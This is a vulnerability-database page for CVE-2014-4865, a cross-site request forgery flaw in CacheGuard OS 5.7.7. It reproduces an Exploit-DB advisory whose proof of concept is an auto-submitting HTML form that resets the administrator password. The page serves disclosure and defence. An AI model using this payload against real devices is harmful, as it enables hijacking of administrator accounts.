CVE-2014-4865

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Published 2014-09-10 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Cross-site request forgery (CSRF) vulnerability in gui/password-wadmin.apl in CacheGuard OS 5.7.7 allows remote attackers to hijack the authentication of arbitrary users.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34672 webapps linux text · 2 KB

William Costa · 2014-09-15

CacheGuard-OS 5.7.7 - Cross-Site Request Forgery

text exploit Source: Exploit-DB

I. VULNERABILITY

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CSRF vulnerabilities in CacheGuard-OS v5.7.7

II. BACKGROUND

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CacheGuard is an All-in-One Web Security Gateway providing firewall,
web antivirus, caching, compression, URL filtering, proxy, high
availability, content filtering, bandwidth saving, bandwidth shaping,
Quality of Service and more.



III. DESCRIPTION

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Has been detected a CSRF  vulnerability in CacheGuard in
"/gui/password-wadmin.apl"



IV. PROOF OF CONCEPT

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The application does not validate the parameter any csrf_token
"/gui/password-wadmin.apl".



<html>



<body onload="CSRF.submit();">

<br>

<br>



<form id="CSRF" action="https://10.200.210.123:8090/gui/password-wadmin.apl"
method="post" name="CSRF">

<input name="password1" value="admin@1234" type=hidden> </input>

<input name="password2" value="admin@1234" type=hidden> </input>

</form>



</body>

</html>



V. BUSINESS IMPACT

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CSRF allow the execution attackers to modify settings or change
password of user administrator in CacheGuard, because this functions
are not protected by CSRF-Tokens.



VI. REQUIREMENTS

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An Attacker needs to know the IP of the device.

An Administrator needs an authenticated connection to the device.



VII. SYSTEMS AFFECTED

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Try CacheGuard-OS v5.7.7



VIII. SOLUTION

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All functions must be protected by CSRF-Tokens.

http://www.kb.cert.org/vuls/id/241508

By William Costa
william.costa no spam gmail.com

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.